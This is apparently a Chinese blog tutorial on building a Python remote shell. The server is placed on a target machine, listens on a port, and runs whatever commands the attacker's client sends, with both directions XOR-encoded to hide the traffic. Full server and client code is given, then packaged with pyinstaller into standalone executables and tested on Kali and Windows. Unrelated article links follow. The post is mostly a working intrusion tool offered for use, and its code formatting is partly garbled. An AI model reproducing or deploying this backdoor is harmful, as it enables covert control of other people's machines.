python执行shell

news2025/1/12 22:53:33

0x00:前言

正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法

0x01:构造思路

服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉

服务端
import socket
import os

这部分是参数设置
地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式

Host = ‘’;
Port = 1314;

recv函数接受的最大数据量

bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);

初始化对象,设置的参数都是默认的

s_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

绑定地址到套接字

s_sock.bind(ipport);

控制最大可以有多少连接,也就是组多可以有五个客户端连接过来

s_sock.listen(5);

控制循环的值

stop = False;
while not stop:

#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的
c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量
ip,port = caddr;
print('%s connection....'%(ip));
#死循环
while True:
    try:
        #接受客户端发来的消息,最大数据量为bufsize变量的值
        data = c_sock.recv(bufsize);
    except:
        #如果出现异常就关闭连接,结束循环
        c_sock.close();
        break;
    #使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
    ceshi = bytearray(data);
    #判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
    for i in range(len(ceshi)):
        #此处就是进行一个异或等于xxx,等同于ceshi[i] = ceshi[i] ^ 0x41
        #按位异或运算符:当两对应的二进位相异时,结果为1,它会将两边元素转换为二进制然后运算
        # 0和1为1,0和0为0,1和1为0,1和0为1,也就是转换为二进制比较时候,不一样就为1,一样就是0
        ceshi[i] ^= 0x41;
    #decode方法的语法:str.decode(encoding='UTF-8',errors='strict')
    #decode() 方法以 encoding指定编码格式来解码字符串。默认编码为字符串编码。
    values = ceshi.decode();
    #如果客户端发来的消息是quit,就会返回一个True给stop,不等于则返回一个False
    stop = values == 'quit' or values == 'exit';
    #如果发来的是quit或者exit,就结束循环
    if stop:
        break;
    #popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。mode -- 模式权限可以是 'r'(默认) 或 'w'
    #bufsize -- 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲
    #大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;
    #对于其它文件,它是全缓冲。如果没有改参数,使用系统的默认值。
    #返回值为:execution succeed,中文意思是执行成功
    value = os.popen(values);
    #system方法,会将字符串转换成命令来执行,返回值为0,表示执行成功,返回其他的则表示失败
    fh = os.system(values);
    #判断执行成功没有
    if fh == 0:
        #调用read方法读取value的内容
        value = value.read()
        #如果读取的值为空,取反为真,如果读取不为空,取反为假,也就是如果是空的就给他一个字符串,如果不是空的就不用
        if not value:
            value = 'execution succeed';
    #如果fh等于32512就提示,找不到命令
    elif fh == 32512:
        value = 'sh: %s: command not found'%(values);
    #再次调用bytearray方法,将value转换为一个字节数组,指定使用utf-8编码
    hehe = bytearray(value,'utf-8');
    #将编码的数据进行异或加密
    for i in range(len(hehe)):
        hehe[i] ^= 0x41;
    #使用send方法发送给客户端
    c_sock.send(hehe);
#内部循环结束的话就关闭这个连接
c_sock.close();
关闭连接

s_sock.close();

0x02:客户端部分

客户端去连接服务端,然后把命令发给服务端,然后接收服务端返回的数据,在通过异或,将其还原成明文打印出来,也可以不使用这种,而直接用base64,等其他加密,这里使用异或所以要将数据先转换成字节数组,然后一个一个字符的加密,如果使用base64等加密,则可以不转换成数组,直接加密一整句,这里因为要告诉服务端,我们退出了,所以需要在发送数据后判断是否退出,因为发送的数据是加密后的,所以我们直接用未加密前的来判断,如果是退出,就结束循环关闭连接

客户端

import socket
import os

输入目标地址

Host = input(‘input server ip: ‘);

如果输入为空,那就设置为本地回环地址

if not Host:
Host = ‘127.0.0.1’;

连接的端口,注意是服务开启的端口才行,因为是我们过去连目标的ip和端口

Port = 1314;

addr得到一个元组,值分别是ip和端口,类型为元组

addr = (Host,Port);

初始化对象,设置的参数都是默认的

c_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

设置控制循环的值

status = True;
try:

#调用connect方法连接目标地址和端口
c_sock.connect(addr);

except:

#如果连接失败,就执行这部分
print('%s 链接出问题了'%(Host));
#将控制循环的值改为False
status = False;
连接成功了执行

while status:

#获取要发给服务端的命令
value = input('[%s] Shell > '%(Host));
#将获取到的值用bytearray转换为一个字节数组,编码格式为utf-8,返回值就是  b'你的字符串'
encode = bytearray(value,'utf-8');
#使用len判断数组的长度,作为循环终值,因为是从0开始小于最大值,所以刚刚好
for i in range(len(encode)):
    #将数组的元素进行异或加密,然后在给数组,下面的相等encode[i] = encode[i] ^ 0x41;
    #异或(^)会将对比的两个参数转换为二进制,然后相同为0,相异为1,在将结果转会字符串
    #原理就是先转换为二进制,比如下面的,如果位数一样就是0,不一样就是1,此处用来进行加密我们发送的数据
    #60 = 0011 1100
    #13 = 0000 1101
    #   = 0011 0001
    encode[i] ^= 0x41;
#如果value得值是空的就取反为真,如果不为空就取反未假
#简单来说就是如果没输入东西就执行,跳过这次循环从新让你输入
if not value:
    continue;
#如果try范围内的代码出现异常什么的就终止,然后执行except中的代码
try:
    #将数据发送过去
    c_sock.send(encode);
    #判断输入的值是否为quit,如果是就结束for循环
    if value == 'quit' or value == 'exit':
        break;
    #使用recv方法接收TCP数据,最大接收数据量为10000
    data = c_sock.recv(10000);
    #将接收的数据,使用bytearray方法转换为一个字节数组,不需要参数uft-8,因为传过来的就是,加了反而有问题
    ceshi = bytearray(data)
    #进行一个循环解密,将收到的数据再次进行异或运算,从而还原明文
    for i in range(len(ceshi)):
        ceshi[i] ^= 0x41
    #输出数据,并使用decode方法来将数据解码为字符串
    print('%s OS : \n'%(Host),ceshi.decode());
#出现异常就这行这部分
except:
    print('%s 断开了连接'%(Host));
    #结束循环
    break;
关闭连接

c_sock.close();

0x03:进阶思路

这样一个简单的服务端和客户端就完成了,可是这种只能在装有python的环境下运行很不方便,所以我们使用pyinstaller将他们编译成可执行文件,pyinstaller非常方便,而且跨平台,但是你在linux下编译出来的就是linux的,要exe的话要去wind下编译

pyinstaller命令有几个好用的参数,这里介绍几个,如果感兴趣的可以自行了解一下,因为是菜鸡新手,所以就用-F即可

-F 产生单个的可执行文件,也就是值有一个可执行文件,没有其他文件夹啥的
-D 产生一个目录(包含多个文件)作为可执行程序,就像一个大程序一样,有很多文件支持
-d 产生 debug 版本的可执行文件

这里我们把客户端编译一下,会输出很多详细信息

图片

编译完成后会在你所在的目录下产生三个文件夹,分别是build、dist和pycache这三个,而我们的可执行文件就被放在dist中,进去就可以看到

图片

编译服务端,比如这里我是在一个新建的空文件夹中编译的

图片

我们这个目录下就产生了三个文件,其中我们的可执行程序在dist中,服务端.spec则是类似一个介绍文件,pycache文件则还是产生在你py文件的位置哪里,因为咱也是初学者,所以对着些并不了解,所以有些说错的地方还望指正

图片

图片

0x04:测试实例

测试是否可运行,先将服务端复制到另一个kali下,并给他执行权限

图片

运行起来,没有报错保持这个就表示没问题

图片

启动客户端来连接,发现可以单独启动,说明编译的没有问题

图片

此处我也在wind下编译了一个服务端,然后尝试用kali上的客户端去连接也没有问题

图片

图片

不过在wind下有个小问题,那就是如果输入不存在的命令会直接断开,后来检查了代码,发现这里只设置了if和 elif,并没有遇到第三种情况,所以导致他就直接中断了,所以将服务端加入一个else条件即可

图片

可以看到这下在任何情况下输入错误的命令也不会断开了

图片

图片

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1274551.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年亚太杯数学建模A题——深度学习苹果图像识别(

Image Recognition for Fruit-Picking Robots 水果采摘机器人的图像识别功能 问题 1:计数苹果 根据附件 1 中提供的可收获苹果的图像数据集,提取图像特征,建立数学模型,计算每幅图像中的苹果数量,并绘制附件 1 中所有…

【localhost refused to connect】解决 linux服务器启动 jupyter notebook 后本地浏览器打不开

问题描述 在linux上输入: jupyter notebook 命令后,弹出的火狐浏览器可以打开笔记本,但是复制它给的加密 url 到 Google 或者 Edge 浏览器都出现如下情况: 解决办法 1. 生成 jupyter notebook 配置文件 在 linux 命令行输入如下…

会员权益有哪些?

品牌会员权益是品牌为了吸引和保留客户,提供给注册成为会员的客户一些特殊优惠和服务,这些权益包括了折扣优惠、会员服务等等。 这些权益可以帮助品牌建立长期的客户关系,提高客户的忠诚度和满意度。以下是一些常见的会员权益,并结…

Neo4j 程序开发 JavaAPI 嵌入式开发模式(头歌)

文章目录 第1关:JavaAPI 嵌入式开发模式任务描述相关知识创建 Neo4j 数据库启动 Neo4j 数据事务创建节点创建节点关系将创建的数据库设置为默认数据库 编程要求测试说明答案代码修改配置文件,更改默认 Neo4j 数据库代码文件 第1关:JavaAPI 嵌…

#zookeeper集群+kafka集群

kafka3.0之前是依赖于zookeeper的。 zookeeper是开源,分布式的架构。提供协调服务(Apache项目) 基于观察者模式涉及的分布式服务管理架构。 存储和管理数据。分布式节点上的服务接受观察者的注册。一旦分布式节点上的数据发生变化&#xf…

【EI会议征稿】第七届机械、电气与材料应用国际学术会议(MEMA 2024)

第七届机械、电气与材料应用国际学术会议(MEMA 2024) 2024年第七届机械、电气与材料应用国际学术会议 (MEMA 2024) 由沈阳理工大学主办,将于2024年2月23-25日在中国长沙举行。本会议将围绕“机械、电气与材料应用”的最新研究领域&#xff…

数据可视化工具APITable:实现强大的多维表格功能并随时随地远程访问

APITable免费开源的多维表格与可视化数据库公网远程访问 文章目录 APITable免费开源的多维表格与可视化数据库公网远程访问前言1. 部署APITable2. cpolar的安装和注册3. 配置APITable公网访问地址4. 固定APITable公网地址 前言 vika维格表作为新一代数据生产力平台&#xff0c…

TiDB专题---1、TiDB简介和特性

什么是TiDB TiDB 是一个分布式 NewSQL 数据库,它支持水平弹性扩展、ACID 事务、标准 SQL、MySQL 语法和 MySQL 协议,具有数据强一致的高可用特性,是一个不仅适合 OLTP 场景还适合 OLAP 场景的混合数据库。 TiDB 是 PingCAP 公司自主设计、研发…

Mendix UI页面布局以案说法

一、前言 试着回想最近一次与公司网站交互的情况,访问了多个页面,并且可能使用了某些功能。有可能基于这种互动,可以向某人介绍公司的一些主要功能。其中一些可能是更肤浅的东西,比如他们的标志是什么样子或他们的主要配色方案是…

【WebSocket】通信协议基于 node 的简单实践和心跳机制和断线重连的实现

前后端 WebSocket 连接 阮一峰大佬 WebSocket 技术博客 H5 中提供的 WebSocket 协议是基于 TCP 的全双工传输协议。它属于应用层协议,并复用 HTTP 的握手通道。它只需要一次握手就可以创建持久性的连接。 那么什么是全双工呢? 全双工是计算机网络中的…

Spring Cloud 原理(第一节)

一、百度百科 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。Spri…

力扣611题 有效三角形的个数 双指针算法

611. 有效三角形的个数 给定一个包含非负整数的数组 nums ,返回其中可以组成三角形三条边的三元组个数。 示例 1: 输⼊: nums [2,2,3,4] 输出: 3 解释:有效的组合是: 2,3,4 (使⽤第⼀个 2) 2,3,4 (使⽤第⼆个 2) 2,2,3 ⽰例 2: 输⼊: nums [4,2,3,4] 输出: 4 解…

我们需要什么样的HA

作为DBA,大家在运维数据库的时候都会遇到 数据库发生 Failover /Switchover 切换的场景。数据库发生切换导致业务连续性受损,少则分钟级,多则小时级别。(最近互联网的故障比较多)。 本文 基于 MySQL 数据库架构场景来分析我们在遇到数据库 HA 切换时是系…

Vue的Nuxt项目部署在服务器,pm2动态部署和npm run build静态部署

Nuxt项目的部署有两种方式,一种是静态部署,一种是动态部署 静态部署需要关闭项目的ssr功能,动态部署则不需关闭,所以怎么部署项目就看你用不用ssr功能了 。 1.静态部署 先说静态部署,很简单,只需要在nuxt…

【自动化测试】pytest 用例执行中print日志实时输出

author: jwensh date: 20231130 pycharm 中 pytest 用例执行中 print 日志 standout 实时命令行输出 使用场景 在进行 websocket 接口进行测试的时候,希望有一个 case 是一直执行并接受接口返回的数据 def on_message(ws, message):message json.loads(message)…

OSU(Optical Service Unit,光业务单元)简介

文章目录 应用场景和功能OSU关键技术基于PB的帧结构划分方式分组业务映射到OSU带宽无损调整机制 标准进展OSU构建电力系统全光底座,赋能新型电力系统 光传送网(OTN)具有大带宽、硬管道、多业务承载能力、电信级的OAM机制等技术优势&#xff0…

macOS本地调试k8s源码

目录 准备工作创建集群注意点1. kubeconfig未正常加载2. container runtime is not running3. The connection to the server 172.16.190.132:6443 was refused - did you specify the right host or port?4. 集群重置5.加入子节点 代码调试 准备工作 apple m1芯片 安装vmwa…

【JavaScript】3.4 JavaScript在现代前端开发中的应用

文章目录 1. 用户交互2. 动态内容3. 前端路由4. API 请求总结 JavaScript 是现代前端开发的核心。无论是交互效果,还是复杂的前端应用,JavaScript 都发挥着关键作用。在本章节中,我们将探讨 JavaScript 在现代前端开发中的应用,包…

Docker 镜像及其命令

文章目录 镜像Docker 镜像加载原理联合文件系统bootfs和rootfs镜像分层 镜像分层的优势容器层常用命令 镜像 镜像是一种轻量级、可执行的独立软件包,它包含运行某个软件所需的所有内容,我们把应用程序和配置依赖打包好形成一个可交付的运行环境&#xff…

外贸独立站建站详细操作流程一览,跨境电商卖家营销必看!

独立站是一个独立的网站,包括有独立的服务器,独立的网站程序以及网站域名。关于独立站 的优势已经说了很多,本文就不再细谈,想了解的小伙伴可以自行查找之前发布的文章观看。 今天就来说说搭建独立站的详细步骤都有哪些&#xff1…